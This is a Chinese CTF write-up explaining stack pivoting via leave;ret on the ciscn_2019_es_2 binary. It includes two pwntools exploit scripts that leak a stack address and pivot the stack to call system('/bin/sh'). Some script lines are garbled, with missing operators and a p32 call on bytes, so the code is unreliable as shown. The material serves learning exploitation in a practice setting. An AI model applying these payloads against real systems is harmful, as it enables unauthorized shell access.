[原创]ciscn_2019_es_2栈转移
发表于:
2021-9-1 19:30
25649
栈转移:通过leave指令改变ebp,esp构造新栈 leave命令相当于 mov ebp,esp pop ebp(此处的ebp位于栈中我们可以控制) 所以如果我们连着使用两次leave命令,那我们是不是就相当于可以任意改写esp的值 我们控制了esp和ebp就相当于控制了栈的位置,我们将栈设置到我们可写的地方,就能相当于控制了整个栈,控制了栈,我们就控制了计算机,进一步控制打穿互联网,掌握核心科技,黑掉全宇宙,穿越到海贼王的平行世界,干翻红狗,救下艾斯,哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈,非常的亏贼啊,所以学这个还是非常有用的啊栈转移非常的亏贼啊!是因为栈溢出造成的漏洞,而溢出的又不多,通常刚好溢出到ebp和返回地址,无法构造参数,所以有时候不能直接利用,所以我们通过改变esp和ebp在我们可以改写的地方构造一个新的栈
我们直接上题ciscn_2019_es_2
以下先是一个题目分析,不想看的直接略过看后面 思路和做题过程很明显的栈溢出啊,s只有40byte,但是read能读0x30byte,简单分析下啊,read读入的数据刚好将返回地址覆盖掉 再翻翻IDA,欸我们可以看到啊,有个hack函数,这名就不是什么正经名,打开一看,果然,看到了systeam("echo flag")
说到这块,我不得不说自己基本知识不扎实(出题人太狗),这里"echo flag"很明显的输出flag,我当时就直接起飞,hack地址覆盖返回地址,好家伙,果然没让我失望,终端直接输出flag四个大大的字母,我当时还纳闷了好久,后来才想明白,echo就是用来输出字符串的,你要写个echo Steal Wang Xishun's tribute ,他就能输出Steal Wang Xishun's tribute,人都麻了。
咳咳,让我们回到正题systeam有了,题中没有/bin/sh字符串,我们可以自己写入一个,然后将其地址作为systeam()的参数。 假设这里栈溢出长度没有限制,那么我们构造的栈应该是这样的
但是只能写入0x30字节的payload,所以我们通过leave命令将栈转移到别的地方,我们将栈中ebp的内容改为s的地址,return改为leave的地址 这是执行了两次leave之后的栈的样子 注意,一般leave命令后面都会跟着ret命令,也是必须要有的。此处如果继续执行ret命令就会返回到esp所指向内容填写的地址,那么接下来就很好办了,我们构造栈的内容 亏贼啊! 当然此处我们还有一个问题就是'/bin/sh'的地址我们不知道。 这个啊,我们可以通过泄露原来ebp的值来确定(就是上图中蓝色ebp的值),我们将此地址叫做addr,以免和ebp寄存器混淆 具体怎么来啊,听我慢慢讲,我们再次回到IDA中 printf函数会打印s字符串,且遇到0就会停止打印,所以如果我们将addr之前的内容全部填充不为0的字符,就能将addr打印出来(亏贼啊,这个printf函数可真是个好东西),我们通过地址再计算出addr到s的距离,我们就可以通过addr来表示'/bin/sh'所在的地址了。
思路很明显啊,我们先通过第一个read传入payload,然后通过printf打印出addr的值(栈中蓝色ebp的值,为了不和寄存器ebp混淆,我们将其称之为addr),然后通过第二个read函数构造栈转移,执行systeam('/bin/sh')
做题过程
我们通过pwndbg调试一下发现s的地址为0xffbc5270,addr为0xffbc52a8,相距0x38,所以s的地址为addr-0x38,则上面'/bin/sh'的地址为addr-0x38+0x10(每次调试addr和s的地址都不同,但是它们之间的间距相同都是0x38)
接下来我们构造第二个payload
以下是完整的payload
from pwn import * sh=process('./ciscn_2019_es_2') payload=b'a'4+b'b' 0x20+b'c'*4 sh.recvuntil('name?\n') sh.send(payload) sh.recvuntil('cccc') addr=u32(sh.recv(4)) print(f"{hex(addr)}") #gdb.attach(sh) systeam_addr=0x08048400 leave_ret_addr=0x080485FD payload2=b'a'*4 payload2+=p32(systeam_addr) payload2+=p32(0xdeadbeef) payload2+=p32(addr-0x38+0x10)+b"/bin/sh" payload2=payload2.ljust(0x28,b'\x00') payload2+=p32(addr-0x38) payload2+=p32(leave_ret_addr) sh.send(payload2) sh.interactive()说一个小东西,我自己在做的时候第一次没有用到plt表里的system,我当时找到了hack函数里面的一段指令 call system call 相当于 push eip jmp 所以也就是说esp向下移动了四字节 具体的payload怎么写,大家可以自己想想啊 我这里直接给大家放出来,大家写完了对照下哈
from pwn import * call_systeam=0x08048559 leave=0x08048562 sh=process('./ciscn_2019_es_2') payload=b'a'0x24+b'b' 4 sh.recvuntil('name?\n') sh.send(payload) sh.recvuntil('bbbb') addr=u32(sh.recv(4)) print(f"{hex(addr)}") payload1=p32(b'a'*4)+p32(call_systeam)+p32(addr-0x38+0xc)+b'/bin/sh' payload1=payload1.ljust(0x28,b'\x00')+p32(addr-0x38)+p32(leave) sh.send(payload1) sh.interactive()其实对于栈转移你只要理解了esp,ebp在栈中是怎么动,什么时候动的就非常简单啦!
[课程]Android-CTF解题方法汇总!
最后于 2021-9-1 19:35
被凡人_编辑
,原因:
上传的附件: